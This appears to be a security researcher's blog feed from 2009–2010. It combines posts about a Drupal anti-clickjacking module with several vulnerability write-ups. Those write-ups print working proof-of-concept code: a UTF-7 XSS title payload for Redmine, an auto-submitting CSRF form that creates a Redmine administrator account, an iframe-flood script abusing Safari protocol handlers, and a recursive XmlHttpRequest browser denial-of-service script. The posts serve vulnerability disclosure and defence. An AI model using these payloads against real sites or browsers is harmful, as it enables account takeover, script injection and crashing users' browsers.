<span style="font-size: small;">JavaScript + CSS + <noscript> framebusting. It's the hardest defense for your website, however it can break down some of your modules which use iframes. The disadvantage of usual framebusters is that they can be disabled particularly using IE8 or Safari XSS filter This framebuster, pointed to me by <a href="http://eaea.sirdarckcat.net/home">sirdarckcat</a>, excludes such kind of attack. If user disables framebuster script selectively - he sees blank screen. If user has generally disabled JavaScript - he sees message like "Enable JavaScript". However, I've decided to make <noscript> tag as a separate option, because such option may be useful without framebuster itself.</span><span style="font-size: small;"> </span><br />
<br />
<span style="font-size: small;">Opportunity of decreasing the risk of Clickjacking on your site via overridden styles of <span style="font-size: small;"><span style="font-family: "Courier New",Courier,monospace;"><iframe>, <frame>, <object> <span style="font-family: Verdana,sans-serif;">and</span> <embed></span></span> tags. This option should only be enabled if you allow your users to post content with stated tags. Special CSS overrides opacity level and z-index for them, preventing transparent frames and hidden via z-index frames. Also, z-index is useful for prevention of "last loaded - first focused" behavior (when last loaded frame is being focused regardless its z-index). The reverse is that in theory it may break website layout.</span></div><ol style="font-family: Verdana,sans-serif;"></ol><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">Module is released and I hope it will be useful for Drupal users. Thanks to all slackers for helping me with Clickjacking prevention techniques.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">You may download module <a href="http://drupal.org/project/safeclick">there</a>.</span></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-31096453241032115272010-03-01T21:27:00.006+06:002010-10-21T14:27:39.678+07:00SafeClick Testing & Review<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">After <a href="http://sla.ckers.org/forum/read.php?2,32339">long discussion</a> about methods of Clickjacking prevention, I've released for testing and reviewing SafeClick. It is a module for <a href="http://drupal.org/">Drupal CMS</a> which implements several of such techniques.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">The first is an implementation of X-Frame-Options HTTP header.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">The second is JavaScript + CSS + <NoScript> hack, pointed to me by sirdarckcat - thanks to him!</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">The third is special CSS, which can be useful if a website allows users to post frames within their content. It overrides opacity and z-index of HTML elements, used for Clickjacking attacks.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">Module is currently <a href="http://drupal.org/node/720910">being reviewed</a> by Drupal community. Everyone is welcomed for testing and hacking!</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;"><br />
</span></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-71018095765598865952009-12-03T15:45:00.010+06:002010-10-24T00:37:37.021+07:00Redmine UTF-7 XSS Vulnerability<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">I keep on looking through <a href="http://www.redmine.org/">Redmine</a>. And one of the most basic persistent XSS - problem of placing <title> prior to <meta> - still often ignored by developers. The same thing occurred in Drupal <a href="http://drupal.org/node/449078">some time ago</a>. Same thing is currently in Redmine.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">The idea of this XSS vector is that tag <title> is placed before tag <meta>, which specifies character encoding of page. Good browsers look for <meta> upon page opening, ignoring its position, but Internet Explorer 6/7 (not quite sure about latest one), in case described above, uses <title> to define encoding. So if you create page (within Redmine, it will be "Issue") with title</span></div><br />
<pre class="brush: js">+ADw-script+AD4-alert('XSS');+ADw-/script+AD4-
</pre><br />
<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">and open it in IE with Auto-Select Encoding on, browser will think that encoding of the page is UTF-7 and will interpret +ADw- as < and +AD4- as >. Thus arbitrary JavaScript will be executed, evading built-in filters .</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;"></span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">P.S. Vendor was contacted and <a href="http://www.redmine.org/users/5">Eric Davis</a> informed me, that this vulnerability will be fixed in new version along with <a href="http://p0deje.blogspot.com/2009/11/redmine-086-csrf-add-admin-user-poc.html">CSRF</a>, which wasn't fixed in 0.8.7.</span><br />
<span style="font-size: small;">P.P.S. Proof-of-Concept is <a href="http://www.exploit-db.com/exploits/10554">here </a></span></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-43572153935031168172009-11-17T01:43:00.011+06:002010-10-24T20:29:21.654+07:00Redmine CSRF Add Admin User PoC<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;"><a href="http://www.redmine.org/">Redmine</a>, a flexible project management web application, which is used by many companies, including company, where I work, till this day was vulnerable to CSRF from task updating to administration. So, the easiest and the most critical PoC I could code was the one that creates user with administrative rights.</span></div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">I've contacted Redmine's SecTeam and they rapidly <a href="http://www.redmine.org/news/30">released</a> new version and separate patch (they are cool team, actually). Those, who use it, need to update asap, because this vulnerability is a critical one.</span></div><br />
<pre class="brush: xml"><form method=POST action="http://www.site.org/users/new">
<input type="text" value="hacker" size="25" name="user[login]" id="user_login"/>
<input type="text" value="hacker" size="30" name="user[firstname]" id="user_firstname"/>
<input type="text" value="hacker" size="30" name="user[lastname]" id="user_lastname"/>
<input type="text" value="hacker@hacker.com" size="30" name="user[mail]" id="user_mail"/>
<input type="password" size="25" name="password" id="password" value="hacker" />
<input type="password" size="25" name="password_confirmation" id="password_confirmation" value="hacker" />
<input type="checkbox" value="1" name="user[admin]" id="user_admin"/>
<input type="hidden" value="1" name="user[admin]"/>
<input type="submit" value="Create" id="commit" name="commit" />
</form>
<script>document.getElementById("commit").click();</script>
</pre><br />
<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">Exploit is <a href="http://www.exploit-db.com/exploits/10424">here</a> </span></div><div style="font-family: Verdana,sans-serif;"><br />
</div><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">EDIT: It seems that Redmine was not fixed in new version :) Maybe there were some problems with my local version, but token was generated one time and for all users. I've reached them, so gotta be fixed finally.</span></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com2tag:blogger.com,1999:blog-4636643594350455909.post-19974906907652976542009-09-28T14:43:00.045+07:002010-10-24T20:29:30.354+07:00User Panic - external applications handler of Safari<div style="font-family: Georgia,"Times New Roman",serif;"><div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">Some time ago RSnake <a href="http://sla.ckers.org/forum/read.php?14,56">published</a> the thing, which gets user into a real panic - iframes with mailto: URI. I just developed it furtherly. Now "exploit" creates iframes with telnet: and news: sources, and if browser doesn't properly handles protocols, which requires external applications to be launched (actually, I'm talking about Apple Safari), this gets user into a real panic :)</span></div><br />
<pre class="brush: xml"><body />
<script>
function makeFrameTelnet() {
ifrm = document.createElement("IFRAME");
ifrm.src = 'telnet://nonexistent.com:80';
document.body.appendChild(ifrm);
}
</script>
<script>
function makeFrameNews() {
ifrm = document.createElement("IFRAME");
ifrm.src = 'news://nonexistent.com';
document.body.appendChild(ifrm);
}
</script>
<script>
for (i=0; i < 9999; i++) {
makeFrameTelnet()
makeFrameNews()
}
</script>
</pre><br />
<span style="font-size: small;"><span style="font-family: Verdana,sans-serif;">P.S. Safari and IE doesn't properly handle skype: protocol. When we create an iframe with, for example, skype:blahblahblah?call source and open it, Skype gets run and the call to blahblahblah user begins. It seems that it's possible to perform some kind of spamming using it. Need to play around with it.</span><br />
</span></div>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0tag:blogger.com,1999:blog-4636643594350455909.post-21512982549068289762009-09-11T15:31:00.033+07:002010-10-24T20:28:25.200+07:00IE 7.x/8.x, Opera 10.x, Safari 4.x DoS PoC<div style="font-family: Verdana,sans-serif;"><span style="font-size: small;">While playing around with cross-domain requests, I've noticed that page, containing cycled XmlHttpRequest leads to violation of normal behavior of different browsers.</span><br />
<span style="font-size: small;">MS Internet Explorer 7.x/8.x (haven't got 6.x, but sure it's affected) begins to devour system resources (CPU and memory), shows error message "Stack Overflow at line: 43" and stops processing the page in few seconds.</span><br />
<span style="font-size: small;">Opera 10.x crashes in few seconds and its crash probably may lead to execution of shellcode (debugged it with WinDbg and !exploitable).</span><br />
<span style="font-size: small;">Apple Safari 4.x simply hangs, devouring system resources.</span><br />
<span style="font-size: small;">However, Mozilla Firefox 3.5 and Google Chrome can handle this exploit.</span><br />
<span style="font-size: small;">Vendors have been contacted, but no reaction.</span><br />
<span style="font-size: small;">I've posted this very dirty PoC at <a href="http://sla.ckers.org/forum/read.php?14,29563">sla.ckers</a> and finally it's here.</span><br />
<span style="font-size: small;">So, to test this PoC, create a page containing exploit, place it to your local webserver (any LAMP) or website and open it.</span><br />
<span style="font-size: small;">PoC contains cross-domain XmlHttp function and cycled asynchronous XmlHttpRequest.</span></div><br />
<pre class="brush: javascript"><script>
function getXmlHttp(){
var xmlhttp;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
</script>
<script>
function getXmlHttpSploit(){
var xmlhttp = getXmlHttp()
xmlhttp.open('GET', 'nonexistentpage', false);
xmlhttp.send(null);
if(xmlhttp.status == 404) {
getXmlHttpSploit();
}
}
</script>
<script>
var xmlhttp = getXmlHttp()
xmlhttp.open('GET', 'nonexistentpage', true);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
if(xmlhttp.status == 404) {
getXmlHttpSploit();
}
}
};
xmlhttp.send(null);
</script> </pre><pre class="brush: xml"> </pre>Anonymoushttp://www.blogger.com/profile/09085009462585036025noreply@blogger.com0